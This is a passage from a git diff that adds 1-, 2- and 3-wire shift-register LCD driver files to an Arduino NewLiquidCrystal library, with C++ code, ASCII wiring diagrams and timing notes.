chance to fully charge + SR1W_DELAY(); + + if (_circuitType == SW_CLEAR) + { + // Clear the shift register to get ready for the next nibble/byte + // This also discharges the Latch/EN capacitor which finally triggers the EN pin because of the falling edge. + numDelays += clearSR(); + } + else + { + // For some reason HW_CLEAR isn't totally stable unless we delay a little bit more. + // TODO... figure this out... + SR1W_DELAY(); + } + + return numDelays; +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + + +/************ low level data pushing commands **********/ +// +// send +void LiquidCrystal_SR1W::send(uint8_t value, uint8_t mode) +{ + uint8_t numDelays = 0; + + uint8_t data; + + if ( mode != FOUR_BITS ) + { + // upper nibble + data = ( mode == DATA ) ? SR1W_RS_MASK : 0; + data |= SR1W_EN_MASK | SR1W_UNUSED_MASK; + data |= _blMask; + + if (value & _BV(4)) data |= SR1W_D4_MASK; + if (value & _BV(5)) data |= SR1W_D5_MASK; + if (value & _BV(6)) data |= SR1W_D6_MASK; + if (value & _BV(7)) data |= SR1W_D7_MASK; + + numDelays += loadSR(data); + } + + // lower nibble + data = ( mode == DATA ) ? SR1W_RS_MASK : 0; + data |= SR1W_EN_MASK | SR1W_UNUSED_MASK; + data |= _blMask; + + if (value & _BV(0)) data |= SR1W_D4_MASK; + if (value & _BV(1)) data |= SR1W_D5_MASK; + if (value & _BV(2)) data |= SR1W_D6_MASK; + if (value & _BV(3)) data |= SR1W_D7_MASK; + + numDelays += loadSR(data); + + // Make sure we wait at least 40 uS between bytes. + unsigned int totalDelay = numDelays * SR1W_DELAY_US; + if (totalDelay < 40) + delayMicroseconds(40 - totalDelay); +} + +// +// setBacklight +void LiquidCrystal_SR1W::setBacklight ( uint8_t value ) +{ + // Check for polarity to configure mask accordingly + // ---------------------------------------------------------- + if ( ((_blPolarity == POSITIVE) && (value > 0)) || + ((_blPolarity == NEGATIVE ) && ( value == 0 )) ) + { + _blMask = SR1W_BL_MASK; + } + else + { + _blMask = 0; + } + + // Send a dummy (non-existant) command to allow the backlight PIN to be latched. + // The seems to be safe because the LCD appears to treat this as a NOP. + send(0, COMMAND); +} \ No newline at end of file diff --git a/libraries/NewliquidCrystal/LiquidCrystal_SR1W.h b/libraries/NewliquidCrystal/LiquidCrystal_SR1W.h new file mode 100644 index 0000000..d71c173 --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_SR1W.h @@ -0,0 +1,373 @@ + +// --------------------------------------------------------------------------- +// Created/Adapted by Stephen Erisman 2013-07-06 +// Copyright 2013 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// @file LiquidCrystal_SR1W.h +// Connects a hd44780 LCD using 1 pin from the Arduino, via an 8-bit Latching +// ShiftRegister (SR1W from now on). +// +// @brief +// This is the 1 wire shift register interface class for the LCD library +// +// The functionality provided by this class and its base class is a superset of +// the original functionality of the Arduino LiquidCrystal library and can +// be used as such. +// See the LCD class for a full description of the API functions available. +// +// It works with a 8-bit latched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out) +// shift register, and an hd44780 LCD in 4-bit mode. +// The 74HC595 shift register has been tested. +// +// +// 1 Pin required from the Arduino: +// - Serial PIN: +// The Serial PIN is wired directly to the shift register's Clock PIN and its +// unaltered signal directly triggers the Clock on every LOW to HIGH transition. +// +// Additionally, the Serial PIN is wired through a resistor capacitor (RC) filter to +// the shift register's Data PIN. During a quick transition of the Serial PIN the +// RC filter will maintain the Data PIN's previous value because the capacitor isn't +// given enough time to charge (or discharge) to the alternate state. If the transition +// is held for enough time, however, the RC capacitor will charge (or discharge) and the +// value seen by the Data PIN will have changed state. +// +// There are two circuit versions that behave differently for Latch, Enable, and Clear: +// +// HW_CLEAR version: +// In this version the shift register's Latch and LCD's Enable PINs are wired directly to +// the shift register's Q'H output. The shift register's /Clear PIN is then wired up +// through two logic "gates": first QH and Q'H are AND'd together with a diode-resistor +// "gate" the output of which is NAND'd with VCC using a resistor-NPN-resistor "gate". +// So, /CLR = ((QH AND Q'H) NAND VCC). We also put a capacitor on the NPN base to GND +// to delay the signal a bit and allow the Latch and EN signals some extra time to trigger. +// +// This all fits together as follows: +// 1. We shift in a '1'. +// 2. Ws shift in the other 7 bits. +// 3. At this point the first '1' has been shifted into Q'H causing it to go HIGH. +// 4. When Q'H is HIGH it causes Latch and EN to also go HIGH. +// 5. When Latch transitions to HIGH it changes the shift register outputs to the bits +// that were shifted in. +// 6. This causes QH to go HIGH (if it wasn't already). +// 7. Now that QH AND Q'H are both HIGH they causes the base capacitor to start charging. +// 8. When the capacitor has charged enough the transistor brings /CLR LOW. +// 8. This will cause /CLR to trigger and the shift register will be cleared +// (NOTE: This doesn't change the latched outputs) +// 9. The clearing of the shift register causes Q'H to go LOW. +// 9. When Q'H is LOW it causes Latch and EN to also go LOW. +// 10. When EN transitions to LOW the LCD reads in the bits on the shift register pins +// and does it's thing. +// 11. Now that Q'H is LOW the base capacitor starts discharging. +// 12. When the capacitor has discharged enough the transistor will stop sinking /CLR. +// 13. This will cause /CLR to be pulled back up to HIGH by the VCC pullup resistor +// (it will stay that way until our next nibble/byte has been shifted in) +// 14. We are now ready for our next nibble/byte. +// +// +// SW_CLEAR version: +// In this version the Serial PIN is wired to the shift register's Latch and LCD's Enable +// PINs through another RC filter. These PINs are also wired through a diode (AND "gate") +// tied to the shift register's Q'H output. This combination means that the Latch and +// Enable PINs will be held LOW as long as EITHER the Q'H or RC output is LOW. +// +// This all fits together as follows: +// 1. We shift in a '1'. +// 2. We shift in the other 7 bits. (NOTE: We leave Serial PIN HIGH at the end of this) +// 3. At this point the first '1' has been shifted into Q'H causing it to go HIGH. +// (NOTE: Up until this time Q'H has been LOW so the attached diode has been keeping +// the Latch/EN pins LOW.) +// 4. Now that Q'H is HIGH it causes the attached diode to stop discharging the Latch/EN +// capacitor. We delay here for a while to make sure it is fully charged. +// 5. When the capacitor has charged enough Latch/EN will be HIGH +// 5. When Latch transitions to HIGH it changes the shift register outputs to what was +// shifted in. +// 6. We now bring the Serial PIN LOW and wait for the Latch/EN capacitor to discharge. +// 7. When the capacitor has discharged enough Latch/EN will be LOW +// 8. When EN transitions to LOW the LCD reads in the bits on the shift register pins +// and does it's thing. +// 9. We now shift in '0' 8 times (as quickly as possible). +// 10. If we keep the LOW to HIGH to LOW pulses short enough while shifting in the '0's +// the Latch/EN capacitor won't have time to charge to a point where it will re-trigger +// the Latch/EN pins. +// 11. Now Q'H will be LOW and the shift register has been cleared (NOTE: This doesn't +// change the latched outputs.) +// 12. We now bring the Serial PIN HIGH again and wait for the Data capacitor to recharge. +// 13. When the Data capacitor has fully charged we are ready for our next nibble/byte. +// +// +// These designs incorporate (and merge) ideas originally found here (1-wire concept): +// http://www.romanblack.com/shift1.htm +// and here (diode-resistor AND "gate" EN control): +// http://www.rentron.com/Myke1.htm +// as well as introducing some new and original ideas (particularly how HW_CLEAR works). +// +// Because of its use of the diode AND "gate", the SW_CLEAR design allows for faster sending +// of data to the LCD compared to Roman's original design. With the proposed 5uS delay (see +// notes below), a byte can be sent to the LCD in as little as 30 uS (plus overhead) when +// sending all 1's. This increases to as much as 190 uS (plus overhead) when sending all 0's. +// This is in comparison to Roman's estimate of around 3-4 mS to send a byte. So this +// implementation is 15-133 times faster for the cost of a single (1N4148 or similar) diode. +// +// The HW_CLEAR version is even faster as it can completely eliminate the clearSR() call as +// well as the delays that are needed to latch the data in the SW_CLEAR version. +// +// +// Default Shift Register Bits - Shifted MSB first: +// Bit #0 (QA) - not used +// Bit #1 (QB) - connects to LCD data input D7 +// Bit #2 (QC) - connects to LCD data input D6 +// Bit #3 (QD) - connects to LCD data input D5 +// Bit #4 (QE) - connects to LCD data input D4 +// Bit #5 (QF) - optional backlight control +// Bit #6 (QG) - connects to RS (Register Select) on the LCD +// Bit #7 (QH) - used for /CLR on the HW_CLEAR version (cannot be changed) +// (Q'H) - used for Latch/EN (via the diode AND "gate") (cannot be changed) +// +// NOTE: Any of these can be changed around as needed EXCEPT Bit #7 (QH and Q'H). +// +// +// Circuit Types (for the 74HC595) +// ------------------------------- +// The 74HC595 is a latching shift register. See the explanations above for how these circuits +// work. +// +// +// HW_CLEAR version: (Faster but higher part count) +// ------------------------------------------------ +// +// 74HC595 (VCC) +// +----u----+ | 2.2nF +// (LCD D7)------------1-|QB VCC|-16--+ +----||----(GND) +// (LCD D6)------------2-|QC QA|-15 | +// (LCD D5)------------3-|QD SER|-14-------+--[ Resistor ]--+ +// (LCD D4)------------4-|QE /OE|-13--(GND) 1.5k | +// (BL Circuit)--------5-|QF RCK|-12-----+ | +// | | \ | +// (LCD RS)------------6-|QG SCK|-11-------)----------------+--(Serial PIN) +// | | | +// +-------7-|QH /CLR|-10-------)--+--[ Resistor ]--(VCC) +// | | | / | 1k +// | +--8-|GND Q'H|--9-----+ | +// | | +---------+ | | (GND)--(LCD RW) +// | | 0.1uF | \ +// | (GND)-----||----(VCC) +------)--------------(LCD EN) +// | | / +// |----|<|----+--[ Resistor ]--| | +// diode | 1k C +// | | +// +-------------+---B-|> (NPN) +// | | +// (2.2nF) = E +// | | +// (GND) (GND) +// +// +// SW_CLEAR version: (Lower part count but slower) +// ----------------------------------------------- +// +// 74HC595 (VCC) +// +----u----+ | 2.2nF +// (LCD D7)------------1-|QB VCC|-16--+ +----||----(GND) +// (LCD D6)------------2-|QC QA|-15 | +// (LCD D5)------------3-|QD SER|-14---------+--[ Resistor ]--+ +// (LCD D4)------------4-|QE /OE|-13--(GND) 1.5k | +// (BL Circuit)--------5-|QF RCK|-12---------+ | +// | | \ | +// (LCD RS)------------6-|QG SCK|-11-----------)--------------+--(Serial PIN) +// 7-|QH /CLR|-10--(VCC) / | +// +--8-|GND Q'H|--9---|<|---+--[ Resistor ]--+ +// | +---------+ diode | 1.5k +// | | +// | 0.1uF | +// (GND)-----||----(VCC) +----||----(GND) +// | 2.2nF +// (LCD EN)-------------------------------------+ +// (LCD RW)--(GND) +// +// +// In either case the LCD RW pin is hardwired to GND meaning we will only be able to write +// to the LCD. +// Therefore, the Busy Flag (BF, data bit D7) is not able to be read and we have to make use +// of the minimum delay time constraints. This isn't really a problem because it usually +// takes us longer to shift and latch the data than the minimum delay anyway. For now, we +// simply keep track of our delays and add more delay at the end to get to at least 37 uS. +// +// +// Backlight Control Circuit +// ------------------------- +// Since we are using the latching nature of the shift resiter we don't need the extra +// backlight circuitry that SR2W uses. Keeping it around, however, would still work because +// the circuit just slows down the transitions to the mosfet a bit. +// +// Here are two more optimized versions that can be used. +// +// +// NPN Transistor version: (Cheaper but more power draw and higher part count) +// --------------------------------------------------------------------------- +// +// (value depends on LCD, 100ohm is usually safe) +// (LCD BL anode)---[ resistor ]---(VCC) +// +// (LCD BL cathode)---------------+ +// | +// C +// | +// (BL input)--[ Resistor ]---B-|> (NPN) +// 1k | +// E +// | +// (GND) +// +// NOTE: The Bate resistor is needed because the NPN is current fed. For lower +// power draw, try a 10k resistor. +// +// +// N-CH Mosfet version: (More costly but less power draw and lower part count) +// --------------------------------------------------------------------------- +// +// (value depends on LCD, 100ohm is usually safe) +// (LCD BL anode)---[ resistor ]---(VCC) +// +// (LCD BL cathode)---------------+ +// | +// D +// | +// (BL input)----------------G-|-< (2N7000 FET) +// | +// S +// | +// (GND) +// +// NOTE: Gate resistor not needed because the mosfet is voltage fed and only really +// pulls current while switching. +// +// In either case, when the BL input is HIGH the LCD backlight will turn on. +// +// +// History +// 2013.07.31 serisman - fixed potential interrupt bug and made more performance optimizations +// 2013.07.10 serisman - more performance optimizations and modified the HW_CLEAR circuit a bit +// 2013.07.09 serisman - added an even faster version that performs the clear in hardware +// 2013.07.08 serisman - changed code to shift data MSB first to match SR2W +// 2013.07.07 serisman - major speed optimization +// 2013.07.06 serisman - created/modified from SR2W source to create SR1W +// @author S. Erisman - arduino@serisman.com +// -------------------------------------------------------------------------------- + +#ifndef _LIQUIDCRYSTAL_SR1W_ +#define _LIQUIDCRYSTAL_SR1W_ + +#include +#include "LCD.h" +#include "FastIO.h" + +// 1-wire SR timing constants +// --------------------------------------------------------------------------- + +// NOTE: +// The 1.5k resistor (1.2k - 1.8k with a 20% tolerance) +// takes between 2.376uS and 4.36uS to fully charge or discharge +// the 2.2n capacitor (1.98n - 2.42n with a 10% tolerance). +// We round this up to a 5uS delay to provide an additional safety margin. + +#define SR1W_DELAY_US 5 +#define SR1W_DELAY() { delayMicroseconds(SR1W_DELAY_US); numDelays++; } + +// 1-wire SR output bit constants +// --------------------------------------------------------------------------- + +#define SR1W_UNUSED_MASK 0x01 // Set unused bit(s) to '1' as they are slightly faster to clock in. +#define SR1W_D7_MASK 0x02 +#define SR1W_D6_MASK 0x04 +#define SR1W_D5_MASK 0x08 +#define SR1W_D4_MASK 0x10 +#define SR1W_BL_MASK 0x20 +#define SR1W_RS_MASK 0x40 +#define SR1W_EN_MASK 0x80 // This cannot be changed. It has to be the first thing shifted in. + +#define SR1W_ATOMIC_WRITE_LOW(reg, mask) ATOMIC_BLOCK(ATOMIC_RESTORESTATE) { *reg &= ~mask; } +#define SR1W_ATOMIC_WRITE_HIGH(reg, mask) ATOMIC_BLOCK(ATOMIC_RESTORESTATE) { *reg |= mask; } + + +typedef enum { SW_CLEAR, HW_CLEAR } t_sr1w_circuitType; + +class LiquidCrystal_SR1W : public LCD +{ +public: + /*! + @method + @abstract LCD 1 wire SHIFT REGISTER constructor. + @discussion Defines the pin assignments that connect to the shift register. + The constructor does not initialize the LCD. Assuming 1 line 8 pixel high + font. + + @param srdata[in] Arduino pin for shift register. + @param circuitType[in] optionally select an alternate circuit type + @param blpol[in] optional backlight polarity (default = POSITIVE) + */ + LiquidCrystal_SR1W (uint8_t srdata, t_sr1w_circuitType circuitType, + t_backlighPol blpol = POSITIVE); + + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command using the shift register. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA=8bit data, COMMAND=8bit cmd, FOUR_BITS=4bit cmd + the LCD. + */ + virtual void send(uint8_t value, uint8_t mode); + + + /*! + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param mode[in] backlight mode (0 off, non-zero on) + */ + void setBacklight ( uint8_t mode ); + +private: + + /*! + @method + @abstract Initializes the LCD pin allocation + @discussion Initializes the LCD pin allocation and configuration. + */ + void init ( uint8_t srdata, t_sr1w_circuitType circuitType, t_backlighPol blpol, + uint8_t lines, uint8_t font ); + + /*! + @method + @abstract Clears the shift register to ensure the Latch/Enable pins aren't + triggered accidentally. + */ + uint8_t clearSR (); + + /*! + * @method + * @abstract takes care of shifting and the enable pulse + */ + uint8_t loadSR (uint8_t val); + + fio_register _srRegister; // Serial PIN + fio_bit _srMask; + + t_sr1w_circuitType _circuitType; + + uint8_t _blPolarity; + uint8_t _blMask; +}; +#endif \ No newline at end of file diff --git a/libraries/NewliquidCrystal/LiquidCrystal_SR2W.cpp b/libraries/NewliquidCrystal/LiquidCrystal_SR2W.cpp new file mode 100644 index 0000000..df4559a --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_SR2W.cpp @@ -0,0 +1,135 @@ +// --------------------------------------------------------------------------- +// Created/Adapted by Bill Perry 2012-03-16 +// Copyright 2012 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_SR2W.cpp +// Connects a hd44780 LCD using 2 pins from the Arduino, via an 8-bit +// ShiftRegister (SR2W from now on). +// +// @brief +// This is a port of the ShiftRegLCD library from raron and ported to the +// LCD library. +// +// +// See the corresponding SR2W header file for full details. +// +// History +// 2012.03.29 bperrybap - Fixed incorrect use of 5x10 for default font +// (now matches original LQ library) +// Fixed typo in SR2W mask define names +// changed default backlight state to on +// 2012.03.16 bperrybap - created/modified from SR sources to create SR2W +// @author B. Perry - bperrybap@opensource.billsworld.billandterrie.com +// --------------------------------------------------------------------------- + +#include "LiquidCrystal_SR2W.h" + +// CONSTRUCTORS +// --------------------------------------------------------------------------- +// Assuming 1 line 8 pixel high font +LiquidCrystal_SR2W::LiquidCrystal_SR2W (uint8_t srdata, uint8_t srclock, t_backlighPol blpol) +{ + init ( srdata, srclock, blpol, 1, 0 ); +} + + +// PRIVATE METHODS +// --------------------------------------------------------------------------- + +// +// init +void LiquidCrystal_SR2W::init(uint8_t srdata, uint8_t srclock, t_backlighPol blpol, uint8_t lines, uint8_t font) +{ + _srDataRegister = fio_pinToOutputRegister(srdata); + _srDataMask = fio_pinToBit(srdata); + _srClockRegister = fio_pinToOutputRegister(srclock); + _srClockMask = fio_pinToBit(srclock); + + _blPolarity = blpol; + + _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; + + backlight(); // set default backlight state to on +} + +// +// loadSR +void LiquidCrystal_SR2W::loadSR(uint8_t val) +{ + // Clear to keep Enable LOW while clocking in new bits + fio_shiftOut(_srDataRegister, _srDataMask, _srClockRegister, _srClockMask); + + + // clock out SR data byte + fio_shiftOut(_srDataRegister, _srDataMask, _srClockRegister, _srClockMask, val, MSBFIRST); + + + // strobe LCD enable which can now be toggled by the data line + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + fio_digitalWrite_HIGH(_srDataRegister, _srDataMask); + waitUsec (1); // enable pulse must be >450ns + fio_digitalWrite_SWITCHTO(_srDataRegister, _srDataMask, LOW); + } // end critical section +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + + +/************ low level data pushing commands **********/ +// +// send +void LiquidCrystal_SR2W::send(uint8_t value, uint8_t mode) +{ + uint8_t myMode = ( mode == DATA ) ? SR2W_RS_MASK : 0; + + myMode = myMode | SR2W_EN_MASK | _blMask; + + if ( mode != FOUR_BITS ) + { + loadSR(myMode | ((value >> 1) & SR2W_DATA_MASK)); // upper nibble + } + + loadSR(myMode | ((value << 3) & SR2W_DATA_MASK)); // lower nibble + + /* + * Don't call waitUsec() + * do our own delay optmization since this code is so fast it needs some added delay + * even on slower AVRs. + */ +#if (F_CPU <= 16000000) + delayMicroseconds ( 10 ); // commands & data writes need > 37us to complete +#else + delayMicroseconds ( 37 ); // commands & data writes need > 37us to complete +#endif +} + +// +// setBacklight +void LiquidCrystal_SR2W::setBacklight ( uint8_t value ) +{ + // Check for polarity to configure mask accordingly + // ---------------------------------------------------------- + if ( ((_blPolarity == POSITIVE) && (value > 0)) || + ((_blPolarity == NEGATIVE ) && ( value == 0 )) ) + { + _blMask = SR2W_BL_MASK; + } + else + { + _blMask = 0; + } + + // send dummy data of blMask to set BL pin + // Note: loadSR() will strobe the data line trying to pulse EN + // but E will not strobe because the EN output bit is not set. + loadSR(_blMask); +} diff --git a/libraries/NewliquidCrystal/LiquidCrystal_SR2W.h b/libraries/NewliquidCrystal/LiquidCrystal_SR2W.h new file mode 100644 index 0000000..2bccb87 --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_SR2W.h @@ -0,0 +1,202 @@ +// --------------------------------------------------------------------------- +// Created/Adapted by Bill Perry 2012-03-16 +// Copyright 2012 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// @file LiquidCrystal_SR2W.h +// Connects a hd44780 LCD using 2 pins from the Arduino, via an 8-bit +// ShiftRegister (SR2W from now on). +// +// @brief +// This is the 2 wire shift register interface class for the LCD library +// +// The functionality provided by this class and its base class is a superset of +// the original functionality of the Arduino LiquidCrystal library and can +// be used as such. +// See the LCD class for a full description of the API functions available. +// +// It works with a 8-bit unlatched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out) +// shift register (IE a very simple SR), and an hd44780 LCD in 4-bit mode. +// Any such shift register should do (pref. 74LS family IC's for 2-wire). +// 74LS164 and 74HC595 have been exstensively tested. +// +// +// 2 Pins required from the Arduino: +// - Data/Enable +// - Clock +// The Data pin is also used to control the enable signal +// LCD RW-pin hardwired to LOW (only writing to LCD). +// Busy Flag (BF, data bit D7) is not read. +// +// Original project homepage: http://code.google.com/p/arduinoshiftreglcd/ +// +// Shift register bits +// Bit #0 - (cannot be used on 74HC595) +// Bit #1 - optional backlight control +// Bit #2 - connects to RS (Register Select) on the LCD +// Bit #3 - connects to LCD data inputs D4 +// Bit #4 - connects to LCD data inputs D5 +// Bit #5 - connects to LCD data inputs D6 +// Bit #6 - connects to LCD data inputs D7 +// Bit #7 - enables the LCD enable-puls (via the diode-resistor AND "gate") +// +// Wiring for a 74LS164 +// --------------------- +// 1k/4.7k +// +--------[ Resistor ]--------+---(LCD Enable) +// | | +// | 74LS164 (VCC) | +// | +----u----+ | _V_ diode +// (data pin)---+---+--1-|A VCC|-14-+ | +// | | | | +// +--2-|B Q7|-13------+ +// 3-|Q0 Q6|-12--(LCD D7) +// (BL Circuit)--------4-|Q1 Q5|-11--(LCD D6) +// (LCD RS)------------5-|Q2 Q4|-10--(LCD D5) +// (LCD D4)------------6-|Q3 /MR|--9--(VCC) +// +-7-|GND CP|--8--(clock pin) +// | +---------+ +// | 0.1uf +// (gnd)-----||----(vcc) +// +// Wiring for a 74HC595 +// -------------------- +// NOTE: the 74HC595 is a latching shift register. In order to get it to operate +// in a "non latching" mode, RCLK and SCLK are tied together. The side effect of this +// is that the latched output is one clock behind behind the internal shift register bits. +// To compensate for this the wiring is offset by one bit position lower. +// For example, while the backlight is hooked to Q0 it is still using bit 1 of +// of the shift register because the outputs are 1 clock behind the real internal shift +// register. +// +// 74HC595 (VCC) +// +----u----+ | +-----------------------(BL circuit) +// (LCD RS)------------1-|Q1 VCC|-16-+ | +--------------------(data pin) +// (LCD D4)------------2-|Q2 Q0|-15----+ | 1k/4.7k +// (LCD D5)------------3-|Q3 SER|-14-------+---[ Resistor ]--+--(LCD Enable) +// (LCD D6)------------4-|Q4 /OE|-13--(gnd) | +// (LCD D7)------------5-|Q5 RCLK|-12-------+ | +// | | | | +// +------6-|Q6 SCLK|-11-------+--(clock pin) | +// | 7-|Q7 /MR|-10--(VCC) | +// | +-8-|GND Q6'|--9 | +// | | +---------+ diode _V_ +// | | 0.1uf | +// | (gnd)-----||----(vcc) | +// +-----------------------------------------------+ +// +// +// Backlight Control circuit +// ------------------------- +// Because the shift resiter is not latching the outputs, the backlight circuitry +// will "see" the output bits as they are shifted into the shift register which +// can cause the backlight to flicker rather than remain constantly on/off. +// The circuit below slows down the transitions to the transistor to remove +// the visible flicker. When the BL input is HIGH the LCD backlight will turn on. +// +// (value depends on LCD, 100ohm is usually safe) +// (LCD BL anode)---[ resistor ]---(vcc) +// +// (LCD BL cathode)-------------------------------+ +// | +// D +// | +// (BL input)----[ 4.7k Resistor ]----+-------G-|-< (2N7000 FET) +// | | +// (0.1uf) = S +// | | +// (gnd) (gnd) +// +// +// +// +// History +// 2012.03.16 bperrybap - creation/adaption from SR header to create SR2W header. +// Fixed typo in SR2W mask define names +// @author B. Perry - bperrybap@opensource.billsworld.billandterrie.com +// -------------------------------------------------------------------------------- +#ifndef _LIQUIDCRYSTAL_SR2W_ +#define _LIQUIDCRYSTAL_SR2W_ + +#include +#include "LCD.h" +#include "FastIO.h" + + +// two-wire SR output bit constants +// --------------------------------------------------------------------------- + +#define SR2W_BL_MASK 0x02 +#define SR2W_RS_MASK 0x04 +#define SR2W_DATA_MASK 0x78 // data bits are hard coded to be SR bits 6,5,4,3 +#define SR2W_EN_MASK 0x80 // cannot ever be changed + +class LiquidCrystal_SR2W : public LCD +{ +public: + /*! + @method + @abstract LCD 2 wire SHIFT REGISTER constructor. + @discussion Defines the pin assignments that connect to the shift register. + The constructor does not initialize the LCD. Assuming 1 line 8 pixel high + font. + + @param srdata[in] Arduino pin for shift register data line. + @param srclock[in] Arduino pin for shift register clock line. + @param blpol[in] optional backlight polarity (default = POSITIVE) + */ + LiquidCrystal_SR2W (uint8_t srdata, uint8_t srclock, t_backlighPol blpol = POSITIVE); + + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command using the shift register. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA=8bit data, COMMAND=8bit cmd, FOUR_BITS=4bit cmd + the LCD. + */ + virtual void send(uint8_t value, uint8_t mode); + + + /*! + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param mode[in] backlight mode (0 off, non-zero on) + */ + void setBacklight ( uint8_t mode ); + +private: + + /*! + @method + @abstract Initializes the LCD pin allocation + @discussion Initializes the LCD pin allocation and configuration. + */ + void init ( uint8_t srdata, uint8_t srclock, t_backlighPol blpol, uint8_t lines, uint8_t font ); + + /*! + * @method + * @abstract takes care of shifting and the enable pulse + */ + void loadSR (uint8_t val); + + fio_register _srDataRegister; // Serial Data pin + fio_bit _srDataMask; + fio_register _srClockRegister; // Clock Pin + fio_bit _srClockMask; + + uint8_t _blPolarity; + uint8_t _blMask; +}; +#endif diff --git a/libraries/NewliquidCrystal/LiquidCrystal_SR3W.cpp b/libraries/NewliquidCrystal/LiquidCrystal_SR3W.cpp new file mode 100644 index 0000000..6144c06 --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_SR3W.cpp @@ -0,0 +1,283 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 7.3.2012. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_SRG.h +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK but using a generic SHIFT REGISTER extension board. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using a 3 wire latching +// shift register. While it has been tested with a 74HC595N shift register +// it should also work with other latching shift registers such as the MC14094 +// and the HEF4094 +// +// This particular driver has been created as generic as possible to enable +// users to configure and connect their LCDs using just 3 digital IOs from the +// AVR or Arduino, and connect the LCD to the outputs of the shiftregister +// in any configuration. The library is configured by passing the IO pins +// that control the strobe, data and clock of the shift register and a map +// of how the shiftregister is connected to the LCD. +// +// +// +--------------------------------------------+ +// | MCU | +// | IO1 IO2 IO3 | +// +----+-------------+-------------+-----------+ +// | | | +// | | | +// +----+-------------+-------------+-----------+ +// | Strobe Data Clock | +// | 8-bit shift/latch register | 74HC595N +// | Qa0 Qb1 Qc2 Qd3 Qe4 Qf5 Qg6 Qh7 | +// +----+----+----+----+----+----+----+----+----+ +// | | | | | | | +// |11 |12 |13 |14 |6 |5 |4 (LCD pins) +// +----+----+----+----+----+----+----+----+----+ +// | DB4 DB5 DB6 DB7 E Rw RS | +// | LCD Module | +// +// NOTE: Rw is not used by the driver so it can be connected to GND. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// +// History +// 2012.03.29 bperrybap - fixed constructors not properly using Rs +// Fixed incorrect use of 5x10 for default font +// - now matches original LQ library. +// moved delay to send() so it is per cmd/write vs shiftout() +// NOTE: delay is on hairy edge of working when FAST_MODE is on. +// because of waitUsec(). +// There is margin at 16Mhz AVR but might fail on 20Mhz AVRs. +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +// flags for backlight control +#include +#include +#include + +#if (ARDUINO < 100) +#include +#else +#include +#endif +#include "LiquidCrystal_SR3W.h" + +#include "FastIO.h" + +/*! + @defined + @abstract LCD_NOBACKLIGHT + @discussion No BACKLIGHT MASK + */ +#define LCD_NOBACKLIGHT 0x00 + +/*! + @defined + @abstract LCD_BACKLIGHT + @discussion BACKLIGHT MASK used when backlight is on + */ +#define LCD_BACKLIGHT 0xFF + + +// Default library configuration parameters used by class constructor with +// only the I2C address field. +// --------------------------------------------------------------------------- +/*! + @defined + @abstract Enable bit of the LCD + @discussion Defines the IO of the expander connected to the LCD's Enable + */ +#define EN 4 // Enable bit + +/*! + @defined + @abstract Read/Write bit of the LCD + @discussion Defines the IO of the expander connected to the LCD's Rw pin + */ +#define RW 5 // Read/Write bit + +/*! + @defined + @abstract Register bit of the LCD + @discussion Defines the IO of the expander connected to the LCD's Register select pin + */ +#define RS 6 // Register select bit + +/*! + @defined + @abstract LCD dataline allocation this library only supports 4 bit LCD control + mode. + @discussion D4, D5, D6, D7 LCD data lines pin mapping of the extender module + */ +#define D4 0 +#define D5 1 +#define D6 2 +#define D7 3 + + + +LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe) +{ + init( data, clk, strobe, RS, RW, EN, D4, D5, D6, D7 ); +} + +LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t backlighPin, t_backlighPol pol) +{ + init( data, clk, strobe, RS, RW, EN, D4, D5, D6, D7 ); + setBacklightPin(backlighPin, pol); +} + +LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, + uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 ) +{ + init( data, clk, strobe, Rs, Rw, En, d4, d5, d6, d7 ); +} + +LiquidCrystal_SR3W::LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, + 